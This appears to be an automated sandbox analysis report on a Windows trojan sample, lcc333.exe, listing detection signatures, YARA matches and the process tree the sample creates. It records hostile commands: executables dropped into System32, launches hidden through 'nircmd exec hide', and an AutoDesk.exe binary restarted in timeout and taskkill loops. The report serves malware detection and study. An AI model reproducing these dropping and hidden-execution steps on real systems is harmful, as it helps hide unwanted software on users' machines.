Source: C:\Windows\System32\nircmd.exe Code function: 15_2_000000014000C0FA CoUninitialize,CoInitialize,memset,memset,MultiByteToWideChar,MultiByteToWideChar,atof,CoInitialize,memset,MultiByteToWideChar,atoi,CoUninitialize,memset,sprintf,CloseHandle,memset,strcpy,strrchr,CoInitialize,CoCreateInstance,memset,MultiByteToWideChar,atoi,atoi,memset,MultiByteToWideChar,CoCreateInstance,CoTaskMemFree,memset,SHFileOperationA,GetDC,GetForegroundWindow,GetWindowRect,CreateCompatibleBitmap,CreateCompatibleDC,SelectObject,BitBlt,_stricmp,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,SelectObject,DeleteDC,SelectObject,DeleteDC,DeleteObject,GetFileAttributesA,SetFileAttributesA,CreateFileA,GetFileSize,memset,SetFilePointer,WriteFile,CloseHandle,DeleteFileA,memset,strrchr,atoi,ExtractIconExA,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,KillTimer,DestroyIcon,memset,sprintf,strcpy,_strlwr,ShellExecuteA,GetDC,GetDeviceCaps,GetDeviceCaps,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,atoi,atoi,atoi,atoi,CreateCompatibleBitmap,CreateCompatibleDC,SelectObject,BitBlt,_stricmp,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,SelectObject,DeleteDC,SelectObject,DeleteDC,DeleteObject,ReleaseDC,MessageBeep,memset,strcpy,SendMessageTimeoutA,SendMessageTimeoutA,RegOpenKeyExA,memset,memset,atoi,_itoa,SendMessageTimeoutA,SHChangeNotify, 15_2_000000014000C0FA

System Summary
barindex
PE file contains section with special chars
Source: AutoDesk.exe.2.dr Static PE information: section name: .`[w
Source: AutoDesk.exe.2.dr Static PE information: section name: .[dL
Source: AutoDesk.exe.2.dr Static PE information: section name: .|q6
Uses the nircmd tool (NirSoft)
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe"
Creates files inside the system directory
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Windows\System32\python.bat Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Windows\System32\app_process.exe Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Windows\System32\AutoDesk.exe Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Windows\System32\play.bat Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Windows\System32\nircmd.exe Jump to behavior
Detected potential crypto function
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C81000 0_2_00007FF714C81000
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C889E0 0_2_00007FF714C889E0
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714CA6964 0_2_00007FF714CA6964
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714CA5C00 0_2_00007FF714CA5C00
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C935A0 0_2_00007FF714C935A0
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C9E570 0_2_00007FF714C9E570
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C95D30 0_2_00007FF714C95D30
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C91D54 0_2_00007FF714C91D54
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C9DEF0 0_2_00007FF714C9DEF0
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C99EA0 0_2_00007FF714C99EA0
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714CA5E7C 0_2_00007FF714CA5E7C
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C89800 0_2_00007FF714C89800
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C91F60 0_2_00007FF714C91F60
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C98794 0_2_00007FF714C98794
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714CA9728 0_2_00007FF714CA9728
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C91740 0_2_00007FF714C91740
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C980E4 0_2_00007FF714C980E4
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714CA40AC 0_2_00007FF714CA40AC
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714CA08C8 0_2_00007FF714CA08C8
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714CA1874 0_2_00007FF714CA1874
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C939A4 0_2_00007FF714C939A4
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C92164 0_2_00007FF714C92164
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C91944 0_2_00007FF714C91944
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C8A2DB 0_2_00007FF714C8A2DB
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C9DA5C 0_2_00007FF714C9DA5C
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714CA3C10 0_2_00007FF714CA3C10
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C92C10 0_2_00007FF714C92C10
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C91B50 0_2_00007FF714C91B50
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C8ACAD 0_2_00007FF714C8ACAD
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C8A47B 0_2_00007FF714C8A47B
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714CA08C8 0_2_00007FF714CA08C8
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714CA6418 0_2_00007FF714CA6418
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_0000000140001000 15_2_0000000140001000
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_000000014000902C 15_2_000000014000902C
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_0000000140014C8C 15_2_0000000140014C8C
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_0000000140004490 15_2_0000000140004490
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_00000001400066A8 15_2_00000001400066A8
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_000000014000A4C4 15_2_000000014000A4C4
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_00000001400054D8 15_2_00000001400054D8
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_00000001400080E0 15_2_00000001400080E0
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_000000014000C0FA 15_2_000000014000C0FA
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_00000001400057E0 15_2_00000001400057E0
Found potential string decryption / allocating functions
Source: C:\Windows\System32\nircmd.exe Code function: String function: 0000000140015B94 appears 99 times
Source: C:\Users\user\Desktop\lcc333.exe Code function: String function: 00007FF714C82710 appears 52 times
PE file contains executable resources (Code or Archives)
Source: unicodedata.pyd.0.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
PE file contains more sections than normal
Source: AutoDesk.exe.2.dr Static PE information: Number of sections : 13 > 10
Sample file is different than original file name gathered from version info
Source: lcc333.exe, 00000000.00000003.2106050470.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_ssl.pyd. vs lcc333.exe
Source: lcc333.exe, 00000000.00000003.2104927615.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_bz2.pyd. vs lcc333.exe
Source: lcc333.exe, 00000000.00000003.2105823533.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_queue.pyd. vs lcc333.exe
Source: lcc333.exe, 00000000.00000003.2104758993.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamevcruntime140.dllT vs lcc333.exe
Source: lcc333.exe, 00000000.00000003.2105914516.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_socket.pyd. vs lcc333.exe
Source: lcc333.exe, 00000000.00000003.2111135941.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameselect.pyd. vs lcc333.exe
Source: lcc333.exe, 00000000.00000003.2105068052.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_decimal.pyd. vs lcc333.exe
Source: lcc333.exe, 00000000.00000003.2111291391.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameunicodedata.pyd. vs lcc333.exe
Source: lcc333.exe, 00000000.00000003.2105424268.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_lzma.pyd. vs lcc333.exe
Source: lcc333.exe, 00000000.00000003.2105250934.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_hashlib.pyd. vs lcc333.exe
Source: lcc333.exe, 00000000.00000003.2108629944.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamelibsslH vs lcc333.exe
Yara detected NirCmd tool
Source: Yara match File source: 31.2.nircmd.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.nircmd.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.nircmd.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 31.0.nircmd.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.0.nircmd.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.0.nircmd.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.0.nircmd.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.nircmd.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000022.00000000.3344394477.0000000140017000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000000.2526970311.0000000140017000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.3347749954.0000000140017000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.3340727157.0000000140017000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.3344008939.0000000140017000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: nircmd.exe PID: 3176, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: nircmd.exe PID: 4820, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: nircmd.exe PID: 3140, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: nircmd.exe PID: 1100, type: MEMORYSTR
Source: Yara match File source: C:\Windows\System32\nircmd.exe, type: DROPPED
Source: classification engine Classification label: mal60.troj.evad.winEXE@59/30@1/3
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_0000000140012A40 free,CreateToolhelp32Snapshot,memset,Process32First,OpenProcess,memset,GetModuleHandleA,GetProcAddress,strcpy,CloseHandle,memcpy,Process32Next,CloseHandle, 15_2_0000000140012A40
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_000000014000400C CoCreateInstance,MultiByteToWideChar,CoUninitialize, 15_2_000000014000400C
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Users\user\Desktop\windows2.zip Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5588:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5648:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3812:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6772:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6436:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6544:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6660:120:WilError_03
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Users\user\AppData\Local\Temp\_MEI6122 Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c python.bat
Source: lcc333.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\System32\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "AutoDesk.exe")
Source: C:\Windows\System32\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "app_process.exe")
Source: C:\Users\user\Desktop\lcc333.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: lcc333.exe, 00000002.00000003.2491611998.000002B9372A3000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492290000.000002B93730F000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2491866704.000002B936B7C000.00000004.00000020.00020000.00000000.sdmp, app_process.exe, 00000012.00000002.3348387189.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000012.00000000.2525092693.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000002.3347236766.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000000.2527968271.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000002.3357087112.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000000.3341938213.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000002.3357025814.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: lcc333.exe, 00000002.00000003.2491611998.000002B9372A3000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492290000.000002B93730F000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2491866704.000002B936B7C000.00000004.00000020.00020000.00000000.sdmp, app_process.exe, 00000012.00000002.3348387189.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000012.00000000.2525092693.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000002.3347236766.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000000.2527968271.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000002.3357087112.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000000.3341938213.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000002.3357025814.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: lcc333.exe, 00000002.00000003.2491611998.000002B9372A3000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492290000.000002B93730F000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2491866704.000002B936B7C000.00000004.00000020.00020000.00000000.sdmp, app_process.exe, 00000012.00000002.3348387189.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000012.00000000.2525092693.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000002.3347236766.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000000.2527968271.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000002.3357087112.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000000.3341938213.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000002.3357025814.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: lcc333.exe, 00000002.00000003.2491611998.000002B9372A3000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492290000.000002B93730F000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2491866704.000002B936B7C000.00000004.00000020.00020000.00000000.sdmp, app_process.exe, 00000012.00000002.3348387189.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000012.00000000.2525092693.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000002.3347236766.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000000.2527968271.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000002.3357087112.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000000.3341938213.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000002.3357025814.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: lcc333.exe, 00000002.00000003.2491611998.000002B9372A3000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492290000.000002B93730F000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2491866704.000002B936B7C000.00000004.00000020.00020000.00000000.sdmp, app_process.exe, 00000012.00000002.3348387189.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000012.00000000.2525092693.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000002.3347236766.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000000.2527968271.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000002.3357087112.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000000.3341938213.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000002.3357025814.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: lcc333.exe, 00000002.00000003.2491611998.000002B9372A3000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492290000.000002B93730F000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2491866704.000002B936B7C000.00000004.00000020.00020000.00000000.sdmp, app_process.exe, 00000012.00000002.3348387189.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000012.00000000.2525092693.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000002.3347236766.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000000.2527968271.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000002.3357087112.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000000.3341938213.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000002.3357025814.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: lcc333.exe, 00000002.00000003.2491611998.000002B9372A3000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492290000.000002B93730F000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2491866704.000002B936B7C000.00000004.00000020.00020000.00000000.sdmp, app_process.exe, 00000012.00000002.3348387189.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000012.00000000.2525092693.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000002.3347236766.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000000.2527968271.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000002.3357087112.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000000.3341938213.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000002.3357025814.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: C:\Users\user\Desktop\lcc333.exe File read: C:\Users\user\Desktop\lcc333.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\lcc333.exe "C:\Users\user\Desktop\lcc333.exe"
Source: C:\Users\user\Desktop\lcc333.exe Process created: C:\Users\user\Desktop\lcc333.exe "C:\Users\user\Desktop\lcc333.exe"
Source: C:\Users\user\Desktop\lcc333.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c python.bat
Source: C:\Users\user\Desktop\lcc333.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c play.bat
Source: C:\Users\user\Desktop\lcc333.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\Desktop\lcc333.bat
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\cmd.exe cmd /c "AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\timeout.exe timeout /t 5
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\timeout.exe timeout /t 120
Source: C:\Windows\System32\nircmd.exe Process created: C:\Windows\System32\app_process.exe "app_process.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\AutoDesk.exe AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs
Source: C:\Windows\System32\app_process.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe"
Source: C:\Windows\System32\nircmd.exe Process created: C:\Windows\System32\app_process.exe "app_process.exe"
Source: C:\Windows\System32\app_process.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\timeout.exe timeout /t 600
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\taskkill.exe taskkill /f /im AutoDesk.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\cmd.exe cmd /c "AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\timeout.exe timeout /t 120
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\AutoDesk.exe AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\taskkill.exe taskkill /f /im app_process.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe"
Source: C:\Windows\System32\nircmd.exe Process created: C:\Windows\System32\app_process.exe "app_process.exe"
Source: C:\Windows\System32\app_process.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe"
Source: C:\Windows\System32\nircmd.exe Process created: C:\Windows\System32\app_process.exe "app_process.exe"
Source: C:\Windows\System32\app_process.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\timeout.exe timeout /t 600
Source: C:\Users\user\Desktop\lcc333.exe Process created: C:\Users\user\Desktop\lcc333.exe "C:\Users\user\Desktop\lcc333.exe" Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c python.bat Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c play.bat Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\Desktop\lcc333.bat Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\cmd.exe cmd /c "AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\timeout.exe timeout /t 120 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\taskkill.exe taskkill /f /im AutoDesk.exe Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\cmd.exe cmd /c "AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\timeout.exe timeout /t 120 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\timeout.exe timeout /t 600 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\taskkill.exe taskkill /f /im app_process.exe Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\timeout.exe timeout /t 600 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\timeout.exe timeout /t 5 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\AutoDesk.exe AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs Jump to behavior
Source: C:\Windows\System32\nircmd.exe Process created: C:\Windows\System32\app_process.exe "app_process.exe" Jump to behavior
Source: C:\Windows\System32\nircmd.exe Process created: C:\Windows\System32\app_process.exe "app_process.exe" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\AutoDesk.exe AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs
